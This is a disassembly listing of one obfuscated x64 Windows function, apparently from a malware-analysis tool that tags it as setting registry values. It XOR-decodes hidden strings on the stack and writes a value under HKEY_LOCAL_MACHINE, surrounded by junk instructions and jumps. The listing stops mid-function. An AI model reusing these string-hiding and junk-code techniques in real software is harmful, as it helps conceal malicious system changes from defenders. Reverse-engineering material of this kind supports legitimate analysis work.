Function at 0x1403fb31f
Capabilities:
Set registry value

Disassembly:
push r15
xchg ah, al
push r14
test ah, 0x4b
adc ah, 0x30
push r13
movsx r15d, di
push r12
sar r15b, 9
or r12b, 0xae
push rsi
mov si, 0x1fef
push rdi
and sil, 0xdf
push rbp
xor bp, 0x3f99
movzx rdi, bp
push rbx
sbb dil, dl
dec rsi
bt bx, r8w
sub rsp, 0x2f8
movzx edi, r12w
mov r13b, r12b
movabs rax, 0xe009ec3224c8fd6e
setne r14b
mov qword [rsp + 0x2e0], rax
mov dil, 0xb0
movsx ebp, ax
mov qword [rsp + 0x40], rax
movsx ax, al
movabs rax, 0x2204bcb80ebea5a3
mov qword [rsp + 0x2d8], rax
movsx r13d, r13w
movzx ebx, r8w
mov r13w, 0x2205
mov qword [rsp + 0x48], rax
not r12w
mov si, 0x5445
cwde
movabs rax, 0xfbc9f38de01f2fa2
mov di, 0xc99
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x50], rax
movabs rax, 0x17a75ff95317a686
mov qword [rsp + 0x2c8], rax
mov bp, bp
xchg bh, bh
mov qword [rsp + 0x58], rax
movsxd rbp, edi
movabs rax, 0xfd99d5578f55fa6f
mov qword [rsp + 0x2c0], rax
movsx r14, dx
mov qword [rsp + 0x60], rax
lahf
movsx ebx, r9w
jmp 0x1403fb41a
movabs rax, 0x4b3964fdcd447246
movzx ebx, sp
mov qword [rsp + 0x2b8], rax
movsxd r15, r14d
setge r15b
xchg r15b, dil
mov qword [rsp + 0x68], rax
movzx r12w, sil
movabs rax, 0xee88324679eb2227
mov qword [rsp + 0x2b0], rax
movsx r12, si
movzx esi, r9w
jmp 0x1403fb462
mov qword [rsp + 0x70], rax
movabs rax, 0x6d7346ad6d4ffefa
movsx rsi, bp
setb sil
cmovb ebx, esp
mov qword [rsp + 0x2a8], rax
jmp 0x1403fb489
mov qword [rsp + 0x78], rax
movabs rax, 0xd093683aef376a76
mov qword [rsp + 0x2a0], rax
movsx r13w, r10b
movsxd r14, esi
mov qword [rsp + 0x80], rax
cdqe
cbw
movzx rbp, r10w
movabs rax, 0xa80f93e9d32b8c6f
movsx esi, r10w
mov qword [rsp + 0x298], rax
movsxd r15, edx
setg r12b
mov qword [rsp + 0x88], rax
movzx ebp, sp
movsxd r13, ebx
movzx si, spl
movabs rax, 0x33e730243394033e
mov qword [rsp + 0x290], rax
jmp 0x1403fb503
mov qword [rsp + 0x90], rax
movabs rax, 0xe7e3977e114e6703
xchg r15w, r14w
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x98], rax
movsx r15d, di
movsx rbp, cx
cwde
movabs rax, 0xb0b65ec58a603c8
movsx r15, r9w
jmp 0x1403fb545
mov qword [rsp + 0x280], rax
mov qword [rsp + 0xa0], rax
movabs rax, 0x6708be65ca8156d7
mov qword [rsp + 0x278], rax
movsxd r12, r10d
not rsi
mov qword [rsp + 0xa8], rax
bswap r14
xchg bl, dil
not r15
movabs rax, 0x46a7044da5524090
movzx bx, ah
mov qword [rsp + 0x270], rax
movsx rbp, bx
movzx r12, r11w
seto r12b
mov qword [rsp + 0xb0], rax
mov r13b, 0x22
movzx r12d, sp
movabs rax, 0x4b8cb541ca050f46
movzx edi, r10w
xchg rbp, r13
movsx esi, cx
mov qword [rsp + 0x268], rax
movsxd rdi, eax
jmp 0x1403fb5d8
mov qword [rsp + 0xb8], rax
movabs rax, 0xe627ab41184af921
movzx r15w, r10b
xchg bp, r12w
bswap r15w
mov qword [rsp + 0x260], rax
movsxd rsi, edi
mov qword [rsp + 0xc0], rax
movabs rax, 0x34c77b6e31b9a
xchg r12, r15
not r15b
mov qword [rsp + 0x258], rax
mov qword [rsp + 0xc8], rax
movsx r14w, bpl
cmovno ax, r14w
movabs rax, 0xd8cf4ec0049852bb
cmova di, cx
not sil
movsxd r13, r15d
mov qword [rsp + 0xd0], rax
lahf
movabs rax, 0xa5eac9844f8ea419
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x3c], 0
mov di, 0x725e
movabs rbp, 0x2eb490333e21dae3
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
cdqe
seta r15b
mov qword [rsp + 0xe8], r14
movabs r15, 0xe05dec612491fd3d
bswap r12d
cdqe
movsx rbx, r13w
mov qword [rsp + 0x100], r15
bswap edi
cwde
movzx r12d, r11w
movabs r12, 0x2247bce40ef3a5e6
xchg bl, sil
movzx ebx, sp
mov qword [rsp + 0x108], r12
xchg dil, dil
movzx r13, bp
movabs rsi, 0xfbacf3ffe06d2fd7
movzx edi, si
cmove di, r8w
mov qword [rsp + 0x110], rsi
lahf
movzx rbx, r12w
movabs rdi, 0x17c85fba5363a6e8
movzx ax, sil
mov qword [rsp + 0x118], rdi
movabs rax, 0xfdf6d5258f21fa01
cmovl r13w, di
movzx r13w, al
mov qword [rsp + 0x120], rax
jmp 0x1403fb73a
mov rbx, rax
movzx ax, r9b
movabs rax, 0x4b4d6498cd17722a
movsx r13w, r14b
movzx r13d, ax
movsxd r13, r10d
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x128], rax
xchg r13b, al
jmp 0x1403fb774
movabs rax, 0xeefa322379b8227b
movsx r13d, sp
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x130], rax
movabs rax, 0x6d1646ce6d26fe8c
cmovbe r13w, cx
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x138], rax
movzx r13d, sp
not ax
mov ax, 0x278b
movabs rax, 0xd0fb6869ef6b6a05
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x140], rax
jmp 0x1403fb7e1
movabs rax, 0xa86b938cd3598c0e
not r13
mov qword [rsp + 0x238], rax
movsx r13w, r14b
movzx r13, ax
not r13b
mov qword [rsp + 0x148], rax
movsx r13w, r11b
cwde
movabs rax, 0x3382304733f7037f
mov r13d, 0x2d955873
mov qword [rsp + 0x230], rax
movzx r13w, bpl
xchg r13w, r13w
movsx r13w, r8b
mov qword [rsp + 0x150], rax
movzx ax, cl
mov al, dil
movabs rax, 0xe7b39722113d6770
mov qword [rsp + 0x228], rax
movzx r13w, r10b
not r13b
mov qword [rsp + 0x158], rax
movsx r13d, r15w
lahf
movabs rax, 0xb66658d58d403a9
mov r13w, r11w
movsx r13d, sp
mov qword [rsp + 0x220], rax
movzx r13d, si
mov r13d, r9d
mov qword [rsp + 0x160], rax
movabs rax, 0x677abe00caf556b2
movsx r13, sp
movzx r13, r13w
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x168], rax
bswap r13w
cdqe
movzx r13w, dil
movabs rax, 0x46ce040ba50e40e3
mov qword [rsp + 0x210], rax
setle r13b
bswap r13
mov qword [rsp + 0x170], rax
movsx r13, r8w
bswap r13w
movsx r13d, bp
movabs rax, 0x4bedb536ca600f34
movzx r13d, r10w
setl r13b
mov r13, rsp
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x178], rax
movsx ax, r14b
movsx eax, dx
movabs rax, 0xe648ab111826f94d
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x180], rax
cbw
movzx eax, r12w
movabs rax, 0x7a4c14b68a1bf6
jmp 0x1403fb94f
mov qword [rsp + 0x1f8], rax
jmp 0x1403fb95c
mov qword [rsp + 0x188], rax
movabs rax, 0xd8a24eaf04dc52e7
mov qword [rsp + 0x1f0], rax
xchg r13d, r13d
sete r13b
mov qword [rsp + 0x190], rax
not ah
movzx r13, r14w
movabs rax, 0xa5bac9ea4fe7a478
xchg r13, r13
setb r13b
mov qword [rsp + 0x1e8], rax
not r13d
mov r13w, r9w
mov qword [rsp + 0x198], rax
not ah
movabs rax, 0x2edd90553e4eda91
movsxd r13, esp
mov r13b, 0xa7
xchg r13b, r13b
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1a0], rax
lahf
movabs rax, 0x28903e4866e9b93a
jmp 0x1403fb9f0
mov qword [rsp + 0x1d8], rax
movzx r13w, bpl
movsxd r13, r9d
mov qword [rsp + 0x1a8], rax
not r13b
lea r13, [rsp + 0x100]
nop
movsx eax, bx
cdqe
mov rax, r13
jmp 0x1403fba22
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fba2c
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fba39
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fba43
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403fba51
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403fba5b
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1403fba69
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403fba73
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403fba81
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fba9a
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fbaa7
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fbab8
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fbac5
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fbad6
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fbae3
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fbafc
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fbb10
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fbb1d
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fbb31
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
movsx r8w, dl
mov rcx, 0x490d770e
xchg cl, r8b
lea rdx, [rsp + 0x40]
movzx rcx, r15w
cmovne ecx, r10d
not ch
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
jmp 0x1403fbb77
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403fbb8c
mov qword [rsp + 0x1d0], rax
jmp 0x1403fbb99
mov qword [rsp + 0x40], rax
nop
mov eax, r10d
movsx rax, ax
movabs rax, 0x222ebca20e96a58a
mov qword [rsp + 0x1c8], rax
jmp 0x1403fbbbe
mov qword [rsp + 0x48], rax
seta ah
movzx rax, sp
cmovae ax, sp
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403fbbdd
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x50], rax
movabs rax, 0x17c85fba530fa684
jmp 0x1403fbbf9
mov qword [rsp + 0x1c0], rax
jmp 0x1403fbc06
mov qword [rsp + 0x58], rax
jmp 0x1403fbc10
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
cbw
mov qword [rsp + 0x110], rsi
not eax
mov qword [rsp + 0x118], rdi
movzx ax, r11b
movsx rax, r14w
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fbc4a
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fbc57
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fbc61
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
cdqe
rcr ax, 0xde
ror dx, 0x7b
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
btr r9, rdi
mov qword [rsp + 0x20], rax
movsx dx, r12b
btr r9d, 0x58
btr dx, r9w
mov dword [rsp + 0x28], 4
inc r9d
lea rdx, [rsp + 0x40]
bswap r9w
rcl r9w, 0xe7
sub r8d, r8d
bswap r9w
not r9
movzx r9d, sp
mov r9d, 4
jmp 0x1403fbcc8
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fbcd8
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fbceb
mov qword [rsp + 0x40], rax
movsx eax, di
nop
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fbd01
mov qword [rsp + 0x48], rax
movsx eax, bx
movsxd rax, r10d
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fbd19
mov qword [rsp + 0x50], rax
movsx rax, r9w
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fbd2f
mov qword [rsp + 0x58], rax
lahf
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fbd42
mov qword [rsp + 0x60], rax
cdqe
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
movzx rax, cx
jmp 0x1403fbd63
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
lahf
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fbd7e
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fbd90
mov qword [rsp + 0x80], rax
movsx eax, r11w
nop
mov rax, qword [rsp + 0x298]
jmp 0x1403fbdab
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x290]
jmp 0x1403fbdc0
mov qword [rsp + 0x90], rax
lahf
mov rax, qword [rsp + 0x288]
jmp 0x1403fbdd6
mov qword [rsp + 0x98], rax
mov rax, r11
movsx rax, cx
cdqe
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
jmp 0x1403fbe04
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x1403fbe19
mov qword [rsp + 0xb0], rax
movsx eax, bp
mov rax, qword [rsp + 0x268]
jmp 0x1403fbe31
mov qword [rsp + 0xb8], rax
setns al
mov rax, qword [rsp + 0x260]
jmp 0x1403fbe49
mov qword [rsp + 0xc0], rax
bswap rax
movsxd rax, r14d
mov rax, qword [rsp + 0x258]
jmp 0x1403fbe64
mov qword [rsp + 0xc8], rax
movzx eax, bx
movzx rax, r13w
cbw
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403fbe84
mov qword [rsp + 0xd0], rax
jmp 0x1403fbe96
movabs rax, 0xa5eac9894f8ea414
jmp 0x1403fbea5
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], r14
cmovp ax, r11w
mov qword [rsp + 0x100], r15
movsx r14, ax
bswap r14
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
movzx r14, bp
mov qword [rsp + 0x118], rdi
movsxd r14, r12d
mov ah, 0x11
mov rbp, rbx
movzx r14d, cx
movsx rax, bx
mov qword [rsp + 0x120], rbx
jmp 0x1403fbf0b
mov r14, qword [rsp + 0x2f0]
movsx ax, spl
cmovns ax, bx
bswap ax
mov qword [rsp + 0x128], r14
cdqe
mov rax, qword [rsp + 0x250]
jmp 0x1403fbf36
mov qword [rsp + 0x130], rax
lahf
movzx ax, r14b
mov rax, qword [rsp + 0x248]
jmp 0x1403fbf51
mov qword [rsp + 0x138], rax
cmovae ax, bp
mov rax, qword [rsp + 0x240]
jmp 0x1403fbf6a
mov qword [rsp + 0x140], rax
movzx ax, r15b
mov rax, qword [rsp + 0x238]
jmp 0x1403fbf84
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
jmp 0x1403fbf99
mov qword [rsp + 0x150], rax
movzx rax, si
mov rax, qword [rsp + 0x228]
jmp 0x1403fbfb2
mov qword [rsp + 0x158], rax
sete ah
movsx rax, sp
mov rax, qword [rsp + 0x220]
jmp 0x1403fbfce
mov qword [rsp + 0x160], rax
nop
mov rax, qword [rsp + 0x218]
jmp 0x1403fbfe5
mov qword [rsp + 0x168], rax
not rax
mov al, r9b
lahf
mov rax, qword [rsp + 0x210]
jmp 0x1403fc001
mov qword [rsp + 0x170], rax
lahf
mov al, 0xdc
sets ah
mov rax, qword [rsp + 0x208]
jmp 0x1403fc01c
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x200]
jmp 0x1403fc031
mov qword [rsp + 0x180], rax
movsx eax, bp
mov rax, qword [rsp + 0x1f8]
jmp 0x1403fc049
mov qword [rsp + 0x188], rax
not ax
jmp 0x1403fc05c
mov rax, qword [rsp + 0x1f0]
jmp 0x1403fc069
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x1e8]
jmp 0x1403fc07e
mov qword [rsp + 0x198], rax
cbw
mov rax, qword [rsp + 0x1e0]
jmp 0x1403fc095
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x1403fc0aa
mov qword [rsp + 0x1a8], rax
nop
cmovb ax, r13w
mov rax, r13
jmp 0x1403fc0c1
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1403fc0d0
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403fc0da
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fc0ec
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403fc0fa
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403fc108
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403fc116
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fc123
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fc13c
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fc14d
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fc15a
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fc173
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fc184
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fc191
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fc1ad
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fc1c1
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fc1ce
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
movsxd rcx, esi
cmovb ecx, esp
mov cx, sp
lea rdx, [rsp + 0x40]
seto r8b
mov ecx, 0x4dbe4101
mov rcx, 0xffffffff80000002
movzx r8d, r10w
setb r8b
lea r8, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
sets bl
movsx bx, r15b
movsx rbx, r9w
mov qword [rsp + 0x40], rax
cdqe
mov rax, qword [rsp + 0x1c8]
movzx ebx, r10w
mov ebx, 0x497e39b7
mov qword [rsp + 0x48], rax
cbw
movzx eax, di
mov rbx, qword [rsp + 0x2e8]
sets ah
mov qword [rsp + 0x50], rbx
mov ax, bx
jmp 0x1403fc25c
mov rax, qword [rsp + 0x1c0]
jmp 0x1403fc269
mov qword [rsp + 0x58], rax
cmovnp rax, rsi
cdqe
movsx ax, ah
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
cdqe
mov qword [rsp + 0x110], rsi
movzx rax, dx
mov qword [rsp + 0x118], rdi
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fc2ab
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fc2b8
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fc2c2
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x30]
movzx r9d, si
sub rdx, rbp
lea rax, [rsp + 0x3c]
rcl dx, 0xe4
shld r9d, r8d, 0x9a
mov qword [rsp + 0x20], rax
bt edx, 0x9c
dec dx
mov dword [rsp + 0x28], 4
rol r9d, 0x6e
sal dl, cl
lea rdx, [rsp + 0x40]
inc r9b
xchg r9b, r9b
sub r8d, r8d
xchg r9b, r9b
setg r9b
mov r9d, 4
jmp 0x1403fc31f
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fc32f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fc342
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fc354
mov qword [rsp + 0x48], rax
movsx eax, dx
cdqe
not al
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fc36d
mov qword [rsp + 0x50], rax
bswap ax
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fc382
mov qword [rsp + 0x58], rax
mov al, 0x75
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fc396
mov qword [rsp + 0x60], rax
setnp al
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
mov rax, r10
cbw
movzx ax, r11b
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
not ah
cwde
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x78], rax
nop
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fc3e1
mov qword [rsp + 0x80], rax
lahf
mov rax, qword [rsp + 0x298]
jmp 0x1403fc3f7
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x290]
jmp 0x1403fc40c
mov qword [rsp + 0x90], rax
cbw
mov ax, bp
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
jmp 0x1403fc436
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
jmp 0x1403fc44b
mov qword [rsp + 0xa8], rax
movsxd rax, esp
mov rax, 0x40a327d0
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
cdqe
mov al, r9b
movsx ax, ah
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
cdqe
movzx rax, r10w
movzx eax, r13w
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
mov al, 0xfa
movsxd rax, r10d
bswap ax
mov rax, qword [rsp + 0x258]
jmp 0x1403fc4b5
mov qword [rsp + 0xc8], rax
mov eax, 0x21d856dc
cwde
movabs rax, 0xd8c34edb048f52bb
jmp 0x1403fc4d2
mov qword [rsp + 0xd0], rax
movsxd rax, r8d
lahf
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403fc4ed
mov qword [rsp + 0xd8], rax
cwde
mov ah, 0xde
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403fc508
mov qword [rsp + 0xe0], rax
lahf
movsx rax, di
movabs rax, 0x28f53e246680b95c
jmp 0x1403fc524
mov qword [rsp + 0xe8], rax
bswap rax
cdqe
mov qword [rsp + 0x100], r15
movsx ax, ah
mov ax, 0x230
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
movzx rax, sp
cdqe
mov qword [rsp + 0x118], rdi
bswap eax
lahf
mov qword [rsp + 0x120], rbp
mov qword [rsp + 0x128], r14
movsx rax, r11w
cdqe
bswap ax
mov rax, qword [rsp + 0x250]
jmp 0x1403fc588
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
jmp 0x1403fc59d
mov qword [rsp + 0x138], rax
cdqe
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x238]
jmp 0x1403fc5c4
mov qword [rsp + 0x148], rax
movzx eax, di
mov rax, qword [rsp + 0x230]
jmp 0x1403fc5dc
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x228]
jmp 0x1403fc5f1
mov qword [rsp + 0x158], rax
movsx rax, r9w
movzx rax, r12w
mov rax, qword [rsp + 0x220]
jmp 0x1403fc60e
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
jmp 0x1403fc623
mov qword [rsp + 0x168], rax
movzx eax, r8w
mov rax, qword [rsp + 0x210]
jmp 0x1403fc63c
mov qword [rsp + 0x170], rax
mov ax, 0x2bba
cmovbe ax, si
movsx ax, dil
mov rax, qword [rsp + 0x208]
jmp 0x1403fc65e